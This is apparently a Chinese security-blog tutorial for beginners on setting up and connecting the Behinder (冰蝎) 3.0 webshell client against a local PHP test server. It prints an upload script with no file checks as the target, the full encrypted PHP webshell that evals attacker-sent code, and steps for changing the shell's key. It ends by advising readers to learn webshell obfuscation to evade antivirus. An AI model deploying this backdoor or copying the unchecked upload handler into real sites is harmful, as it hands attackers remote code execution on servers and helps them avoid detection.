标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2020-2749]   作者: 闲云野鸡 发表于: [2020-09-04]

本文共 [21] 位读者顶过

前言

今天刚下载了最新版的冰蝎3.0 beta2,但是一直连不上,后来问了公司的大哥才知道了原因,这里做一个记录,希望对你有所帮助。[出自:jiwo.org]

这篇文章比较基础,主要面向新手,技术含量较低主要为操作流程。

server文件中放的是各种语言的webshell,如下图:

环境配置


这里我使用的php的webshell做的实验。首先我开了一个windows的虚拟机,下载了phpstudy,开启了apache,然后写一个文件上传的php代码,这里采用的是菜鸟教程上自带的php文件上传代码,具体代码如下:

<!-- index.html代码 -->

<html>
<head>
<meta charset="utf-8">
<title>Upload</title>
</head>
<body>
<!-- 下面表单表示将接收到底文件传给upload_file.php去处理 -->
<form action="upload_file.php" method="post" enctype="multipart/form-data"> 
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>

</body>
</html>


// upload_file.php
<?php 
if ($_FILES["file"]["error"] > 0)
{
    echo "错误:" . $_FILES["file"]["error"] . "<br>";
}
else
{
    echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
    echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
    echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
    echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"];
}
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
echo "文件存储在: " . "upload/" . $_FILES["file"]["name"] //文件会被上传到当前目录下的upload文件夹中
?>
将上诉代码放在:

只要下载了phpstudy应该就会有这个文件夹,我使用的是默认目录安装的,upload_file.php代码写到上传的文件需要被放在当前目录下的upload文件夹中,因此我们需要自己创建一个upload文件夹,如上图所示。


上传页面如上图所示,点击chose file选中文件,点击提交上传我们的php的webshell即可,上传成功这会出现下图。

这时候双击打开我们的冰蝎:

如果无法打开可能是java版本不对,这里我给出自己的java版本作为参考。

打开后在空白处右键然后点击新增:

输入url跟密码然后点击保存

这里面说一下为什么默认密码为什么是rebeyond还有怎样更改默认密码:
先看看冰蝎的phpshell的源代码:

<?php
@error_reporting(0);
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
    $key="e45e329feb5d925b"; //这一行为密码的md5的前16位
	$_SESSION['k']=$key;
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
}
?>
跟我在代码中标注的一样

$key=“e45e329feb5d925b”; //这一行为密码的md5的前16位
我们去cmd5这个网站中去进行加解密操作,输入rebeyond:



发现rebeyond的32位md5的前16为刚好就是代码中的key的值(是第一行md5(rebeyond,32))。现在大家应该知道怎么改密码了吧,只要用你想用的密码的md5的前16位代替代码中key的值,然后你就可以使用自己的密码登陆shell了。例如你想使用admin当密码,你求出的admin的md5如下:


这时候你只需要将代码中的 “ $key=“e45e329feb5d925b”; “ 中key的值改为21232f297a57a5a7即可使用admin为密码登陆,说到这里就已经很详细了,点到为止。


冰蝎页面

连接成功后页面如下:


大家可以根据自己的需要去使用,不过建议大家有机会研究一下webshell的混淆与免杀,否则很容易被查杀。




评论

暂无
发表评论
 返回顶部 
热度(21)
 关注微信